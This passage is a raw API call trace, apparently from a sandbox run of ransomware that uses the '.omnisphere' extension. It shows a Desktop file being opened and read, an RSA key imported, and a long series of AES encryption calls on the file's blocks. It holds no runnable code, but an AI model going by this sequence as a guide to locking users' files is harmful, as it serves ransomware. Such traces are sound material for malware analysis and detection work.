pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="MVw.avi" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\MVw.avi") returned="C:\\Users\\FD1HVy\\Desktop\\MVw.avi" [0164.385] StrStrW (lpFirst=".omnisphere", lpSrch=".avi") returned 0x0 [0164.385] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\MVw.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\mvw.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.385] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=1550) returned 1 [0164.385] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xea, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0164.386] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0164.386] GetTickCount () returned 0x1168d15 [0164.386] GetTickCount () returned 0x1168d15 [0164.386] GetTickCount () returned 0x1168d15 [0164.386] GetTickCount () returned 0x1168d15 [0164.386] GetTickCount () returned 0x1168d15 [0164.386] GetTickCount () returned 0x1168d15 [0164.386] GetTickCount () returned 0x1168d15 [0164.386] GetTickCount () returned 0x1168d15 [0164.386] GetTickCount () returned 0x1168d15 [0164.386] GetTickCount () returned 0x1168d15 [0164.386] GetTickCount () returned 0x1168d15 [0164.386] GetTickCount () returned 0x1168d15 [0164.386] GetTickCount () returned 0x1168d15 [0164.386] GetTickCount () returned 0x1168d15 [0164.386] GetTickCount () returned 0x1168d15 [0164.386] GetTickCount () returned 0x1168d15 [0164.386] GetTickCount () returned 0x1168d15 [0164.386] GetTickCount () returned 0x1168d15 [0164.386] GetTickCount () returned 0x1168d15 [0164.386] GetTickCount () returned 0x1168d15 [0164.386] GetTickCount () returned 0x1168d15 [0164.386] GetTickCount () returned 0x1168d15 [0164.387] GetTickCount () returned 0x1168d15 [0164.387] GetTickCount () returned 0x1168d15 [0164.387] GetTickCount () returned 0x1168d15 [0164.387] GetTickCount () returned 0x1168d15 [0164.387] GetTickCount () returned 0x1168d15 [0164.387] GetTickCount () returned 0x1168d15 [0164.387] GetTickCount () returned 0x1168d15 [0164.387] GetTickCount () returned 0x1168d15 [0164.387] GetTickCount () returned 0x1168d15 [0164.387] GetTickCount () returned 0x1168d15 [0164.387] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x16688a0) returned 1 [0164.387] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x1639b28) returned 1 [0164.388] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0164.388] CryptDestroyKey (hKey=0x1639b28) returned 1 [0164.388] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0164.388] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x60e, lpName=0x0) returned 0x380 [0164.388] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x60e) returned 0x1480000 [0164.388] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x1668708) returned 1 [0164.389] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x16394e8) returned 1 [0164.389] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0164.389] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0164.389] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.389] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.389] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.389] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.389] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.389] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.389] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.389] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.389] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.389] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.389] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.389] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.389] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.389] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.389] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.389] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.390] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.390] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.390] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.390] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.390] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.390] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.390] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.390] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.390] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.390] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.390] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.390] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.390] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.390] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.390] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.390] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.390] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.390] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.390] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.390] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.390] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.391] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.391] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.391] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.391] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.391] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.391] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.391] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.392] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.392] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.392] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.392] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.393] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.393] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.393] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.393] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.393] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.393] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.393] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.393] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.393] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.393] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.393] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.393] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.393] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.393] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.393] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.393] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.393] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.393] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.393] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.393] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.393] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.394] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.394] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.394] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.394] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.394] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.394] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.394] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.394] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.394] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.394] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.394] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.394] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.394] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.394] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.394] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.394] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.394] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.394] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.394] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.394] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.395] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, 